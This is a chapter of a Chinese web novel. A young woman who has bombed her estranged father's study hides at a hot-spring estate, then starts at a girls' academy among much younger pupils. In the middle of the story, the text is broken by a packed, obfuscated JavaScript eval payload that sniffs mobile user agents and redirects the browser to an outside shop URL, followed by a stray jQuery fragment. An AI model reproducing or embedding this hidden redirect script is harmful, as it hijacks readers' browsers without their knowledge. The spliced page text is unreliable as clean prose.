氤氲水雾弥散在茂盛的樟木枝叶间,山风吹来,带着林木青草的香气。
季觉卿穿着轻薄的浴衣泡着温泉,倚靠着池边,对同样窝在泉水里的桃桃说:“桃桃,我那一匣子银子就拜托你师傅转交到滦泉府灵州县纪南村的邱泽。”
邱泽夫妻养了原身十几年,五百两银子足够她们以后过的富足又不至于受人觊觎。
桃桃闭目享受温泉的浸泡:“行,小事一桩。觉卿你胆子真够大的,居然真敢炸,跟我师傅一个脾性。”
季觉卿享受着温泉的舒适,这里还是固安侯当初给她的地方。
她了解过,山上是皇家的温泉行宫,这座山上的庄子多是皇帝给臣子的赏赐,这也是为什么纪道琴想从她手里要走的原因。
如今她刚炸了固安侯府,这么一个皇室眼皮子底下的地方最安全,至少在气头上的固安侯不能大肆带人来捉拿她。
这也是她早早便和桃桃约好的,让她从固安侯府偷出来她积攒的银匣子就朝这里来。
突然桃桃噗嗤一声笑了出来:“季觉卿你可真是个神人啊。那老东西被火药炸了,明天上朝该怎么跟皇帝解释啊,说你这个不孝女炸的,皇帝都不可能信。”
挤在一个温泉池子里充当木头桩子的戚怡睁眼说了一句:“要称陛下。”
桃桃像条鱼游过去,扒拉戚怡又闭上的眼睛:“你没睡着啊,我还想着一会儿叫醒你呢,没睡你老闭着眼睛干什么。”
季觉卿看着她们嬉闹,思索着之后要怎么做。
固安侯掌兵多年,军中从属者众多,只是近几年被召回京中,但他和军中的联系没断掉。
当今皇帝已经五十多了,什么时侯驾鹤西去谁也说不定,皇帝唯二的后嗣只有安王和长公主,可以说安王是板上钉钉的下任皇帝。
可她让桃娘打听到当年固安侯大败北疆戎狄一战,偏偏折损了安王殿下的亲生父亲——晋王。
皇帝想要给安王登基铺路,要么就是将固安侯的女儿赐婚安王,要么就彻底绝了固安侯的野心。
虽然是她炸了固安侯府,但她一个农家养大的姑娘,固安侯一切的说辞都只会让皇帝觉得他私藏火药,居心不轨。
毕竟家中能看到一只老鼠,说明老鼠已经筑窝了。能私藏火药便能私藏火器,只要皇帝对固安侯起了疑心,他便好过不了,自然也就无力顾及她这个“狼心狗肺的不孝女”。
她现在只要固安侯府日子不安生,她便痛快。
·
昨日的事也许闹的太大,纪念康竟然独自找上门来了。
季觉卿斜睨了戚怡一眼。
这个温泉庄子的人还不知道她干了什么,对她这个小姐还算恭敬,但纪念康一上门,估计她的行踪也就暴露了,这些仆下也留不得了,今天就让纪念康带回固安侯府去。
纪念康见到季觉卿,直接围着她转了一圈,仔仔细细上上下下的打量完,还端着她的脸:“妹啊,你没事吧,再伤心也不能一个人一句消息不会给就躲这深山老林里头。哥跟你说个事,你得挺住,啊,伯父今天上朝的时侯被皇上问话,他居然说是你炸了他的书房,这么离谱的话他都敢说,真的是偏心眼没边了。但你别伤心,这话没人信,我爹我娘也不信,今天你就跟着我回去,以后你就住我家,咱不回去受那个气。”
季觉卿没想到纪念康对她的滤镜这么大:“额,三哥,那个,那书房就是我炸的。我就在这儿挺好的,回去会让叔父婶母为难,不如在这里……”
“可你后天就要上学了,你在这每天至少要早起一个时辰。”
上什么,什么学,上什么学。
季觉卿一双大眼睛,清澈如水。
纪念康大惊:“三妹,你忘了,你得去女子书院读书的,我爹已经拜托江汀兰江院长给你办好学籍了,你这小年纪,你不读书想干嘛?”
季觉卿:“……我都炸固安侯书房了,居然还能去读书吗?他不像这么大度的人啊?”
纪念康呼噜了一下季觉卿的头:“这都是我们大人该操心的事儿,小孩就专心读书。你要不要跟我回去,不回去我就在这住下了。”
“封刀给我收拾个院。”
·
“哎,快快快,今日书院开学,早早去了路上不堵。”
纪念康一大早就在絮絮叨叨,好不容易上了马车,又开始嘴不停,
“书拿齐了吧,笔墨纸砚呢?好好,拿齐了就好。你今日第一天上学可不能迟到,要听先生的话,有事就让戚怡来隔壁给我报信,记住没。”
这话纪念康从昨日开始一遍遍在季觉卿耳朵边念叨,她听得都要起茧子了。
季觉卿伸出手指,一条一条数着:“记住了,记住了,有问题记得举手告诉先生、有人找我麻烦先跑并且让戚怡去找你、在膳堂吃饭不好吃也得先垫垫肚子,放学了回家吃好吃的……哥,我都真记住了,我虽然第一次上学,但我不是小孩子了,你真的不用太担心我。”
……
也许真的是来的早,一路畅通毫无堵塞的到来女子书院门口。
书院先生们早早等在各斋门口等候学子们——当然是初上学的学子。
一群七八岁的小丫头中“鹤立鸡群”地站着远高出她们半个身子的姑娘,
正是季觉卿。
季觉卿尴尬的要死,纪念康把她送到先生处,就被她劝走了。
但她真没想到她的同窗同学们会是一群小娃娃。
季觉卿瞳孔在震颤,仔细看,只能看出两个大字“救命”。
索性,书院的先生解救了她——
祝元风看着站在尹群小孩子中间呆若木鸡的季觉卿,冲她招招手,将她带到自己的书斋。
“纪姑娘,我是你所在书斋的斋长祝元风,你称呼我祝斋长便可。因你没上过学,尊父特意安排你来幼童的蒙息级。”
“你年纪又长,江山长特许你参加特定的越级考核,若通过便可入栾诚级,等你需要只需向我申请考核便可。作为先生我还是要嘱咐一句,莫要让无畏的事情影响读书,须知读书方可明智,若有任何学业上的问题均可来问我。”祝元风不愧是教育蒙童的先生,即使季觉卿年岁不算小,依旧十分耐心的讲解一切事物。
纪觉卿看着眼前身形挺拔如青竹的先生,躬身行礼:“多谢斋长。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011727|193320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝元风看着眼前懂礼的小姑娘,指指身侧的书案:“今日上午蒙童们多要闹腾,课也不好开展。我听闻你自家中学了些字,便留在习字就好。”
语罢,便朝前面去了。
她是斋长,今日正是忙碌的时候,能抽出一点时间安排这个“大龄”学生,已是不易。
季觉卿目送祝斋长离去,安安心心的从纪念康给她准备的书包中取出文房四宝,练字。
她虽认字快,但一贯用硬笔写字,软笔字写的着实是丑。
季觉卿看着眼前的鬼画符,两个月了,还是没看习惯。
啧,得弄点铅笔了。
这段时间发生的事太多,给她搞的神经都要衰弱了。
如今事情暂时告一段落,季觉卿也终于有闲工夫去考虑一些小事情。
孟老夫人留给她的那把短钥匙不仅仅是她留下来的一笔钱财,更重要的是可以信任的人手。
人不多,只十几个,但俱是可靠之人,这也是她胆敢狂妄挑衅固安侯的一大原因。
一个时辰后,祝斋长来叫季觉卿回书堂上课。
大约是安抚好了初来上学的小娃娃们。
果不其然,季觉卿一进书堂便看到一群抽抽噎噎、红着眼泡的小丫头们,但还好也只是抽泣没有放声大哭的。
她掐了掐食指,忍住了恶作剧的坏心眼,把想要说出口的那句“你们家长不要你们喽”给咽了回去。
为了适应小孩子们的心情,初课并未讲解知识,而是让孩子们一字长龙排开来自我介绍。
“大个”季觉卿自然是坐在最后一排,看着小姑娘们奶声奶气的说自己叫什么,几岁了,萌得她心都要化了。
女孩子们真的是天下最可爱的萌物。
不知不觉就轮到了她,拱手道:“我名季觉卿,还望各位同窗多多照料。”
学堂里唯一的大孩子早就吸引了小姑娘们的注意,因此季觉卿一开口,便有大胆的拍着胸脯:“觉卿同学,我叫王如意,你叫我如意就好。你以后有麻烦就找我,我让我的九个哥哥来帮你,他们都在隔壁读书。”
一石激起千层浪,一人惊起百鸟鸣。
季觉卿耳边瞬间如同如擂鼓震天,她感觉自己脑仁发生了共振,只余嗡鸣。
还好还有祝斋长主持局面,“啪,啪,啪。”
戒尺抽打声挥开了嘈杂:“同学们保持安静。自我介绍完毕,我为给我同学们介绍一下课程安排……”
课程介绍,祝斋长已经被她说过一遍,无所事事的季觉卿看着窗外织网的蜘蛛有些走神。
女子书院虽是六年学制,但因学子多随父升贬迁任而走,少有能一直学到毕业的。
少年们之间的深情厚谊也会随着时间的流逝而如落花随水而去。
因此高年纪的学子们要么是父辈常年蒙受帝恩的高官显贵要么是皇亲国戚,小团体甚是团结——
也就甚是排外。
季觉卿若是通过越级考核,运气好面对的大概是冷漠孤立,若是运气不好便是霸凌。
她思索着,手中抛出一个纸团砸向蜘蛛网。
“咻。”